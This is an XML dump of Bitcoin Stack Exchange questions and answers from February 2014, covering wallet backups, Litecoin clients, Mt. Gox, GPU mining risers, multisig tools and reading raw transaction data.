  <row Id="22722" PostTypeId="2" ParentId="22711" CreationDate="2014-02-26T18:20:20.280" Score="1" Body="&lt;p&gt;You can &lt;a href=&quot;http://en.bitcoin.it/wiki/Running_Bitcoin#Command-line_arguments&quot; rel=&quot;nofollow&quot;&gt;configure&lt;/a&gt; Bitcoin QT to use a specific &lt;a href=&quot;http://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;data directory&lt;/a&gt;, but it only looks in that place for &lt;code&gt;wallet.dat&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would (1) close Bitcoin QT, (2) move the existing &lt;code&gt;[data directory]\wallet.dat&lt;/code&gt; to another folder (3) copy your backup into the &lt;code&gt;[data directory]&lt;/code&gt;, and (4) reopen Bitcoin QT. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't overwrite your existing &lt;code&gt;wallet.dat&lt;/code&gt; with the backup!  Step (2) is pretty important in case there's a problem with the backup file.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2014-02-26T18:20:20.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22724" PostTypeId="1" CreationDate="2014-02-26T19:10:16.030" Score="3" ViewCount="3464" Body="&lt;p&gt;Is there a lightweight client like Multibit available for Litecoin? If not, is one in development?&lt;/p&gt;&#xA;" OwnerUserId="13928" LastEditorUserId="5406" LastEditDate="2014-02-27T10:33:10.303" LastActivityDate="2015-02-17T11:01:45.233" Title="Is there a wallet like Multibit for Litecoin?" Tags="|client|litecoin|thin-clients|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22725" PostTypeId="2" ParentId="22693" CreationDate="2014-02-26T19:17:29.097" Score="11" Body="&lt;p&gt;Rebroadcasting a similar transaction with a fee attached will invalidate the one that's waiting. Basically you initiate a double-spend and the new one (with a fee) will get confirmed.  Once it's confirmed, the old transaction will be invalid and forgotten.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your client probably does not allow double-spend attempts, but it's &lt;em&gt;possible&lt;/em&gt; via &lt;a href=&quot;https://blockchain.info/pushtx&quot; rel=&quot;noreferrer&quot;&gt;blockchain.info&lt;/a&gt;. Warning: Don't create a raw transaction unless you really know what you are doing!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People are working on making fee changes easier for us mere mortals; one example is/was (seems to be defunct) ConfirmNext.&lt;/p&gt;&#xA;" OwnerUserId="434" LastEditorUserId="-1" LastEditDate="2016-10-26T19:37:44.940" LastActivityDate="2016-10-26T19:37:44.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22726" PostTypeId="2" ParentId="22724" CreationDate="2014-02-26T19:26:17.200" Score="2" Body="&lt;p&gt;For a desktop computer, no, there's no lightweight client yet. There is &lt;a href=&quot;https://litecointalk.org/index.php?topic=8124.0&quot; rel=&quot;nofollow&quot;&gt;talk of developing&lt;/a&gt; one, but it's not released yet. The LTC blockchain isn't as large as BTC's, so it's not as necessary on PCs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Android, there's a &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet_ltc&quot; rel=&quot;nofollow&quot;&gt;Litecoin Wallet&lt;/a&gt; that is a lightweight client.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-02-26T19:26:17.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22727" PostTypeId="2" ParentId="22654" CreationDate="2014-02-26T19:36:47.217" Score="1" Body="&lt;p&gt;The short answer to the question is that it is NOT a problem.  That is unless you are a Mt Gox customer that had deposits held by them on your behalf - then you probably do consider it a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mt. Gox in essence is like a bank holding bitcoins on people's behalf.  Apparently many of those bitcoins have gone missing and Mt Gox is now insolvent and unable to honor all its liabilities.  It is very much like a failing bank in the 1920's.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that Mt Gox really is done for is a set back for bitcoin and may slow its a adoption but just like the failure of banks in the 1920's did not destroy the dollar neither will this destroy bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="13929" LastActivityDate="2014-02-26T19:36:47.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22729" PostTypeId="1" CreationDate="2014-02-26T21:57:51.520" Score="3" ViewCount="459" Body="&lt;p&gt;I am interested in using multisignature transactions to secure my company's coins and I'm wondering what tools are available right now for use with multisignature transactions? I'm especially interested in solutions that work on keys distributed between multiple wallets (no single wallet holds all the keys) and are not currency specific (would work just as well for Bitcoin as for Litecoin or other coins).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the standard bitcoind API is lacking in multisignature support due to &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/3218&quot; rel=&quot;nofollow&quot;&gt;this bug&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-01-28T19:09:09.107" Title="Resources for multisignature transactions?" Tags="|transactions|api|multi-signature|safety|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22731" PostTypeId="1" AcceptedAnswerId="23050" CreationDate="2014-02-26T23:22:21.960" Score="5" ViewCount="31549" Body="&lt;p&gt;I have a PCI USB riser like this one:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Pg5L0.jpg&quot; alt=&quot;PCI x1 USB to PCI x16 riser&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 identical video cards with one plugged directly into the motherboard and one plugged in via the PCI riser.  I am seeing a hash rate of 290 KH/s on the one directly connected to the motherboard and 210 KH/s on the one connected via the riser.  The riser is connected to the PSU so it is powered.  There is no need to short the PCI slot.  I have tried this riser in both a PCI x1 slot and PCI x16 slot with the same results.  The video cards are both GTX 580.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could the added latency of going through a USB wire account for this decrease in hash rate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using another video card (GTX 750 Ti FTW), I was able to confirm a decrease of about 100 KH/s while connected to the PCI USB riser.  I have tried 2 separate risers with 2 separate video cards and every time a PCI USB riser is involved, my hash rate is lower than when connected directly to the motherboard. The motherboard is a &lt;a href=&quot;http://www.gigabyte.us/products/product-page.aspx?pid=3449&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gigabyte GA-X58A-UD3R&lt;/a&gt;. The BIOS has been updated and I only see BIOS options to change the PCI Express Frequency and PCI Express Clock Drive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am having a hard time finding an answer online and I need experts, please help.  If these USB risers decrease the hashing power then I'm not sure why people want them.  I want them for the added distance I need between my motherboard and GPUS in my setup but perhaps I should alter my setup to allow for the ribbon cable riser version.  I appreciate your recommendations.  Could there be a setting that accounts for this latency and keeps an optimal hashing power?&lt;/p&gt;&#xA;" OwnerUserId="6375" LastEditorUserId="5406" LastEditDate="2016-03-06T21:47:45.807" LastActivityDate="2021-01-21T22:39:57.257" Title="Do PCI USB risers lower the hashing rate?" Tags="|hashpower|mining-hardware|" AnswerCount="6" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22733" PostTypeId="2" ParentId="22711" CreationDate="2014-02-27T00:33:41.297" Score="0" Body="&lt;p&gt;NEVER play around and fiddle with a working software/wallet for testing backups. Because you can make a mistake. Expert computer users destroy data regularly by mistakes in backups. And when you some time actually need a backup is the worst time for fiddling around, so better have a solution already prepared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To verify the &quot;account balance&quot; on your wallet you'd need to either download the blockchain (but the pruned version is enough if you're not hardcore paranoid) and need to know which bitcoin addresses you control (=&quot;your bitcoins&quot;). Or just look up your addresses on bitcoin.info or biteasy or other website that gives you a view onto the blockchain.&#xA;Actually it can be a good idea to continuously track your balance with a separate software. If you don't need to hide which bitcoins are yours, simply export a &quot;watching only&quot; wallet from your current software (it's a wallet without the keys needed to actually spend/transact/sign for your coins) and maybe import the watching wallet in some smartphone app or some web wallet, then set up some suitable notifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To simply verify the correctness of a wallet.dat, up to date tools may not exist. A 2011 forum thread about the original python wallet tools has a warning at the front: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=11331.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=11331.0&lt;/a&gt;&#xA;And in another question, someone had lost their wallet.dat (or moved+renamed and forgot about it) and it appears the wallet file format is not easy to detect by anything other than the file name. So a wallet verification tool would depend on getting source code from the wallet software and knowing which file and encryption/password to verify it with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your backup is a &quot;standard&quot; wallet.dat file you have some(1) chance for it to work in many different wallet softwares and apps. Preferably test on a fresh computer that has never been connected to any network (i.e. installed without cables plugged in. Windows 95 could get hacked while the installation software was running the last phases...). Without an extra physical computer, try using a virtual machine-software and create a fresh &quot;computer inside your computer&quot;.&#xA;If Linux doesn't scare you and your wallet software is available on linux, then you can create a USB-stick with linux on it. Linux Live USB can give you one that runs as a virtual machine, but classical Live USB sticks instead require you to restart your computer with the USB plugged in and might be tricky to get working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if you load you wallet backup on an untrusted computer or even a smartphone, you should have prepared in advance a new safe wallet to send your coins to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you should NEVER keep a large amount of coins in such a way that it can all be lost or stolen if you get the phone/computer stolen or if you forget a password. Think how much USD/EUR/... cash you would carry with you on a street with risk for pickpockets, robberies, loosing your wallet by clumsiness, etc and use that as a guide for how much bitcoin you should be handling yourself. For bigger sums, first exercise with smaller sums and it is probably wise to spread your risk by using several trusted expert(2) third parties to store your coins, just like you use banks to handle savings accounts.&#xA;The time when all &quot;banks&quot; can be removed is not yet. Better, safer apps and hardware wallets need to be created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) In &lt;a href=&quot;http://media01.bitcoinarmory.com/InsideBitcoins_Present.pdf&quot; rel=&quot;nofollow&quot;&gt;http://media01.bitcoinarmory.com/InsideBitcoins_Present.pdf&lt;/a&gt; it is explained that wallet encryption works differently in Bitcoin-Qt and Armory, and presumably other wallet software use a weaker but more &quot;standard&quot; wallet encryption.&#xA;(2) MtGox has proved again and again they are not experts. Most other well-known online wallets/traders are probably trustable with some bigger sums&lt;/p&gt;&#xA;" OwnerUserId="3779" LastEditorUserId="3779" LastEditDate="2014-02-27T10:26:58.533" LastActivityDate="2014-02-27T10:26:58.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22735" PostTypeId="2" ParentId="21252" CreationDate="2014-02-27T00:59:35.303" Score="3" Body="&lt;p&gt;The concept of &quot;worker&quot; is necessary for the pool to track the hash rate of individual mining devices and adjust difficulty accordingly. If the difficulty is too high then it may take hours for you to get a share, and if difficulty is too low you may report a dozen shares every second and put unnecessary burden on the pool and on your network connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to hash rate tracking, the pool also needs to assign different extraNonce values (this is part of data in the generation transaction) for different workers to ensure that workers do not work on colliding merkleRoot values. This helps eliminate duplicate shares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you run many different mining devices at different speed, then each device must use a different worker name so the pool knows to track them separately.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastEditorUserId="13751" LastEditDate="2014-02-27T01:07:58.157" LastActivityDate="2014-02-27T01:07:58.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22736" PostTypeId="1" CreationDate="2014-02-27T01:02:52.330" Score="0" ViewCount="1290" Body="&lt;p&gt;When I try to add devices to BFGMiner and BitMinter, Only 3/4 devices will be detected, When I go to Devices and Printers (In Windows 7) it shows all of my ASIC Miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2014.02.26 [19:09] BitMinter Client v1.4.3 started &#xA;2014.02.26 [19:09] Found 1 OpenCL-compatible GPU &#xA;2014.02.26 [19:09]  Hint: Use performance mode for best GPU results (bottom right button) &#xA; 2014.02.26 [19:09] Probing all ports for external devices &#xA;2014.02.26 [19:09]  Probe of port COM16 failed: timeout &#xA;2014.02.26 [19:09] No external devices detected. &#xA;2014.02.26 [19:09] Device detected on COM15: Icarus &#xA;2014.02.26 [19:09]  Icarus detection on COM3 failed. Expected nonce 0x00000109 but got 0x3F3F3F09. &#xA;2014.02.26 [19:09] Device detected on COM3: Icarus &#xA;2014.02.26 [19:10]  Icarus detection on COM17 failed. Expected nonce 0x00000109 but got 0xFFFFFFFF. &#xA;2014.02.26 [19:10]  Icarus detection on COM17 failed. Expected nonce 0x00000109 but got 0xFFFFFFFF. &#xA;2014.02.26 [19:10]  Probe of port COM17 failed: timeout &#xA;2014.02.26 [19:10]  Error reading from COM17: File descriptor is -1 &amp;lt; 0, maybe closed by previous error condition &#xA;2014.02.26 [19:10] Device detected on COM16: Icarus&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I get the miners to detect all the devices. The devices are on COM 3, 17, 19, and 20&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Bgordy&lt;/p&gt;&#xA;" OwnerUserId="13804" LastEditorUserId="5406" LastEditDate="2016-04-25T20:22:41.147" LastActivityDate="2016-04-25T20:22:41.147" Title="Miners don't detect ASIC Devices" Tags="|client|miner-configuration|asic|bfgminer|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22738" PostTypeId="1" AcceptedAnswerId="22739" CreationDate="2014-02-27T03:49:55.327" Score="0" ViewCount="238" Body="&lt;p&gt;Bitcoin miners work to solve a random puzzle as &quot;proof of work&quot;.  A huge amount of raw computing power is going into finding the solution to these puzzles, yet the actual solution to the puzzle serves no purpose other than to demonstrate that whoever found the solution has access to a great deal of computing power.  Can the bitcoin protocol be modified to accept puzzles from the real world who's solution would actually have some social value?  Perhaps some scientists, governments, or corporations would be willing to pay some amount to whoever solves some reasonably complex computational problem first, and they could contribute some BTC towards the reward a miner receives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that the particular puzzle chosen is very clever, particularly as its complexity may be easily adjusted as needed, the solution is well defined and easy to verify, and there's virtually no limit to the creation of new puzzles.  I just wonder if something even more clever could be incorporated, if someone ever manages to come up with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, the analogy I have in mind is the way &lt;a href=&quot;https://www.google.com/recaptcha&quot; rel=&quot;nofollow&quot;&gt;reCAPTCHA&lt;/a&gt;s have virtually replaced traditional CAPTCHAs, substituting socially valuable book digitization work for a socially useless text-guessing exercise.&lt;/p&gt;&#xA;" OwnerUserId="13945" LastEditorUserId="5406" LastEditDate="2016-04-25T20:22:24.317" LastActivityDate="2016-04-25T20:22:24.317" Title="Can mining puzzles be made socially valuable?" Tags="|development|hash|mining-theory|" AnswerCount="1" CommentCount="2" ClosedDate="2014-02-27T11:59:21.507" ContentLicense="CC BY-SA 3.0" />
  <row Id="22739" PostTypeId="2" ParentId="22738" CreationDate="2014-02-27T04:14:53.310" Score="2" Body="&lt;p&gt;To be valid as a proof of work a problem needs to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;be difficult to produce, and it's difficulty must scale up and down as the network speed requires. The levels of difficulty must be quite granular, bitcoin's go down to several decimal places to ensure an even blocktime.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;have no central issuer, the work must be independently creatable and verifiable. No central authority should be needed to produce problems and solutions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;be quick to verify even on microprocessors, every node in the network must verify it 300,000 times over to synchronize with the blockchain today. Currently I can verify a sha256 merkle tree proof on a processor that costs a few cents in bulk;  scrypt coins are almost useless in that you need a huge amount of memory to verify the proofs. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Nothing else can fit this bill at all. Primecoin attempted this, but it's method has removed the ability for SPV clients to operate (kilobytes of stupid number strings in the block headers), and the work it produces (certain types of prime numbers in a sequence) is merely a curiosity rather than anything usable by anybody. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It must be a cryptographic hash. The simple fact that it is protecting the network means that it is not &quot;useless&quot;. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastEditorUserId="13413" LastEditDate="2014-02-28T03:17:42.683" LastActivityDate="2014-02-28T03:17:42.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22740" PostTypeId="2" ParentId="22736" CreationDate="2014-02-27T04:17:07.527" Score="2" Body="&lt;p&gt;You are likely running into power limits. Your USB hubs must be powered properly, able to supply the full current all of these devices need to operate. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-02-27T04:17:07.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22741" PostTypeId="2" ParentId="22654" CreationDate="2014-02-27T06:21:44.840" Score="0" Body="&lt;p&gt;The question of what this means has already been answered for the most part. People are dumping their Bitcoins now. This actually makes the US Dollar and other currencies worth slightly more, so if you don't have any crypto currency, don't worry :)&lt;/p&gt;&#xA;" OwnerUserId="13947" LastActivityDate="2014-02-27T06:21:44.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22742" PostTypeId="1" CreationDate="2014-02-27T06:58:46.287" Score="1" ViewCount="145" Body="&lt;p&gt;Scenario: Say I want to create a shopping app on android. After filling the shopping cart, when the user wants to check out, he is asked to pay me the bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created an account on Coinbase.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions: After adding the items in the app to the cart, the user is directed to the coinbase payment page. How is the user going to pay me, if he doesn't have a Coinbase account but some other wallet? If he pays me the required bitcoins, how will I relate the user's payment with the invoice of the order generated for him?&lt;/p&gt;&#xA;" OwnerUserId="13948" LastEditorUserId="5406" LastEditDate="2014-02-27T10:42:50.167" LastActivityDate="2014-02-27T10:42:50.167" Title="How can non-Coinbase customers pay to Coinbase from Android?" Tags="|coinbase.com|android|shopping-cart-interface|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22743" PostTypeId="2" ParentId="22742" CreationDate="2014-02-27T07:14:07.270" Score="2" Body="&lt;p&gt;The coinbase payment page has a &quot;pay to address&quot; option that will generate a unique address associated with your order and display a QR code. User can simply send payment to that address.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-02-27T07:14:07.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22744" PostTypeId="1" CreationDate="2014-02-27T07:59:39.803" Score="1" ViewCount="3853" Body="&lt;p&gt;This is my very first dive into the actual transaction contents. I'm choosing a random transaction in the block chain to understand whats going on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I see that this particular transaction has a single input, and a set of outputs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I &lt;em&gt;really&lt;/em&gt; don't understand at this point is, how can I tell what the originating and ending addresses were, along with the transaction amount. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My confusion comes from not seeing the originating address (although I suspect that's me not understanding something fundamental) coupled with multiple recipients defined across a set of &lt;code&gt;vout&lt;/code&gt;addresses.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;hex&quot; : &quot; &quot;,&#xA;&quot;txid&quot; : &quot;1a558999f1360e95406c39ada43121fc2441ca5600e39f5d5a3bd3c494b9aae9&quot;,&#xA;&quot;version&quot; : 1,&#xA;&quot;locktime&quot; : 0,&#xA;&quot;vin&quot; : [&#xA;    {&#xA;        &quot;txid&quot; : &quot;a83dc6dc8e375eb9c63db531f298fd426b94f80167fc1d164a89b353442aa44a&quot;,&#xA;        &quot;vout&quot; : 0,&#xA;        &quot;scriptSig&quot; : {&#xA;            &quot;asm&quot; : &quot;30460221009c8c0cf9664f8e97dc0d2379150dae9de743bd1ba9164c74da8728ac8bd33818022100ab74fba8f1219d2e5a79f9ec3bee7f9de6dd49edc66a667a8bd433692bd9ddb801 04c086981930501414c538310ab4014186fd2e9901fabcce97de24abd7f6b14ca5b319896ac482d00506e5f722da754f727015a51fb1ee8728089bc03c8b6adb37&quot;,&#xA;            &quot;hex&quot; : &quot;4930460221009c8c0cf9664f8e97dc0d2379150dae9de743bd1ba9164c74da8728ac8bd33818022100ab74fba8f1219d2e5a79f9ec3bee7f9de6dd49edc66a667a8bd433692bd9ddb8014104c086981930501414c538310ab4014186fd2e9901fabcce97de24abd7f6b14ca5b319896ac482d00506e5f722da754f727015a51fb1ee8728089bc03c8b6adb37&quot;&#xA;        },&#xA;        &quot;sequence&quot; : 4294967295&#xA;    },&#xA;    {&#xA;        &quot;txid&quot; : &quot;a15332b9b61c2f1f8777efaaa5f652e0a4daf213fb266c2e8deef9479ece26f1&quot;,&#xA;        &quot;vout&quot; : 1,&#xA;        &quot;scriptSig&quot; : {&#xA;            &quot;asm&quot; : &quot;3045022100b20a538bcb20fc8463bb698a4a07fced226aff193cddf5eb246564708e5193c702207c2b6fdbc1b90575be7ef5f7d7013bef357bab0d8bd6b57708df35c2aa03e56d01 04f3234bbe0fcfb2091bd6ad64203fcb6f0a7ac08b3730f2b759f85aab5fb233adad9cde430938f6f303d98b1aa9c17a2a56fcca95982cf76bce9e13acfc6fab3d&quot;,&#xA;            &quot;hex&quot; : &quot;483045022100b20a538bcb20fc8463bb698a4a07fced226aff193cddf5eb246564708e5193c702207c2b6fdbc1b90575be7ef5f7d7013bef357bab0d8bd6b57708df35c2aa03e56d014104f3234bbe0fcfb2091bd6ad64203fcb6f0a7ac08b3730f2b759f85aab5fb233adad9cde430938f6f303d98b1aa9c17a2a56fcca95982cf76bce9e13acfc6fab3d&quot;&#xA;        },&#xA;        &quot;sequence&quot; : 4294967295&#xA;    }&#xA;],&#xA;&quot;vout&quot; : [&#xA;    {&#xA;        &quot;value&quot; : 0.05000000,&#xA;        &quot;n&quot; : 0,&#xA;        &quot;scriptPubKey&quot; : {&#xA;            &quot;asm&quot; : &quot;OP_DUP OP_HASH160 70f25592e7284f48ccddcc8ef9af83d48c47301a OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;            &quot;hex&quot; : &quot;76a91470f25592e7284f48ccddcc8ef9af83d48c47301a88ac&quot;,&#xA;            &quot;reqSigs&quot; : 1,&#xA;            &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;            &quot;addresses&quot; : [&#xA;                &quot;1BJCzAbdTe8cCSvd2Yr7RCAnHqfsixjVth&quot;&#xA;            ]&#xA;        }&#xA;    },&#xA;    {&#xA;        &quot;value&quot; : 0.00299234,&#xA;        &quot;n&quot; : 1,&#xA;        &quot;scriptPubKey&quot; : {&#xA;            &quot;asm&quot; : &quot;OP_DUP OP_HASH160 0495ef54c1276a4bf3e35e433d893857db344e70 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;            &quot;hex&quot; : &quot;76a9140495ef54c1276a4bf3e35e433d893857db344e7088ac&quot;,&#xA;            &quot;reqSigs&quot; : 1,&#xA;            &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;            &quot;addresses&quot; : [&#xA;                &quot;1RFKRhk3nMhk7yyN687YtxKVfohtdm6Sc&quot;&#xA;            ]&#xA;        }&#xA;    }&#xA;],&#xA;&quot;blockhash&quot; : &quot;00000000000000007764778f17fc18d6051711507bbaeb503c2d4aba017f1445&quot;,&#xA;&quot;confirmations&quot; : 4,&#xA;&quot;time&quot; : 1393487217,&#xA;&quot;blocktime&quot; : 1393487217&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking another transaction as an example, I had a look at its inputs to see if it would be possible to figure out the address from the previous transactions. What I ended up with was this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Current Transaction: 3846c2c5de2d6a3ea44d0d26d52cef2b33c9f44f3da1305e33905aebd3ba5795&#xA;&#xA;Input 1 to Current Transaction:     70413306b48d8a1ce9b4d9a3500477cea1e42888c07f69d9f45f4785fde0e551 [0]&#xA;    Output: 14sbkc8jwphWvDczoBMY812nvpT7T8pp3t&#xA;    Output: 15R7vh1r5nrTB7uGg89pmP8grJKzpRVeTr&#xA;    Output: 129w8zn65WqkVmUbTQGnLojg6qu5vaNnvQ&#xA;&#xA;Input 2 to Current Transaction: a97685efbed249543f34c22480609ea1851b4d4c76f7207db3de64b65206d037 [6]&#xA;    Output: 1AdVciiT8VoJiCn5nevnVQnzQFeyHKtgzU&#xA;    Output: 1A2UXf1wK4G7g6NquQu5VJzAt2hwBvakwc&#xA;    Output: 1NT9GeNPK7jW33b61Xv8CpRhfTwXXHrbsh&#xA;    Output: 1DNWZmsURXXyNchhj3An4em3UkHb7ux39L&#xA;    Output: 18rt5YDpzL7CuBSsCxQPSWg6xPu7UR6Dks &#xA;    Output: 13aUL5mzLGLJKbfCBfJukRPmikau5aGHF3&#xA;    Output: 16ui1ZtnN1Ufgp9RHvp7jECbMPoMfEjLzW&#xA;    Output: 16ZgAzQZyvv6MWZALTUBcvNEiKARbjoMHZ    &#xA;&#xA;Input 3 to Current Transaction: dc4ba3a246a479f7747a05fa56658f2521a9456689103a2df0015b538edaa7d7 [2]    &#xA;    Output: 1Pxh9sMK22d2QCU1quoFcgP2arxHgyaHeV&#xA;    Output: 1AxfD8QMrjbvD4SRWEBavYY1P6FfPhXpri&#xA;    Output: 14ZQsi7XWMBpXu8MRJdq23TJBymnsvMY4j&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;None of the previous inputs match. What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="11810" LastEditorUserId="11810" LastEditDate="2014-02-27T16:51:45.567" LastActivityDate="2018-05-04T06:46:27.037" Title="Any single transaction has vin and vout values. How can I tell the address of the originator and receiver?" Tags="|bitcoind|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22745" PostTypeId="2" ParentId="22744" CreationDate="2014-02-27T08:12:38.377" Score="1" Body="&lt;p&gt;For this particular transaction, there is NO SENDER. Notice the &quot;coinbase&quot; field in vin, it indicates this is newly generated coin, created via mining.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-02-27T08:12:38.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22746" PostTypeId="1" CreationDate="2014-02-27T09:19:08.340" Score="-2" ViewCount="1251" Body="&lt;p&gt;Can someone explain to me what chargebacks are and how I can use it to get my money if I buy bitcoins with debit/credit card. I heard about this thing for first time when I started to use bitcoins and this is the only explanation why all the exchanges does not accept debit/credit cards. I know transaction in bitcoin is irreversible but I can use chargeback to get my money back. In the same way I can buy something other not bitcoins and chargeback my money again. Bitcoin is just a thing its not special, and if I cant use debitcard to pay bitcoins then I cant use debitcard to pay whatever. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;I am buying potatoes form the shop its irreversible because potatoes are in my bag and I can use chargeback and get my money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is the difference with bitcoins ?&lt;/p&gt;&#xA;" OwnerUserId="9205" LastActivityDate="2014-02-27T22:19:41.583" Title="How credit/debit card chargebacks can be used" Tags="|chargeback|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22748" PostTypeId="1" CreationDate="2014-02-27T10:48:32.247" Score="2" ViewCount="531" Body="&lt;p&gt;In &lt;a href=&quot;https://bitcointalk.org/index.php?topic=25804.msg2892508;topicseen#msg2892508&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; TierNolan explains why 'Bitpoin' is much easier to generate than 'bitpoin', and that mainly has to do with the position (first character). But I remember that certain characters (I believe 'i' and 'o') are much more difficult to generate, independant of their position in the address. How is this possible?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-02-27T22:52:05.417" Title="If Bitcoin addresses are truely random, then why are some more difficult to generate than others?" Tags="|address|public-key|vanity-address|vanitygen|address-generation|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22749" PostTypeId="1" AcceptedAnswerId="23289" CreationDate="2014-02-27T10:54:19.233" Score="2" ViewCount="775" Body="&lt;p&gt;The blockchain is a database of all valid transactions, but is there a company/project that also logs all transactions which were broadcasted, but didn't made it to the chain? Blockchain.info for example, keeps a history of all double-spends, so I assume they keep such a log, but its not publicly available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could very easily calculate how much was lost by transaction maleability if something like that was publicly available.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-07-07T22:10:16.193" Title="Is there a database of all transactions?" Tags="|blockchain|blockchain.info|database|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22750" PostTypeId="2" ParentId="22702" CreationDate="2014-02-27T11:02:14.347" Score="1" Body="&lt;p&gt;Judging from the output of a GBT call to bitcoind  (2505616072), it must include fees.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-02-27T11:02:14.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
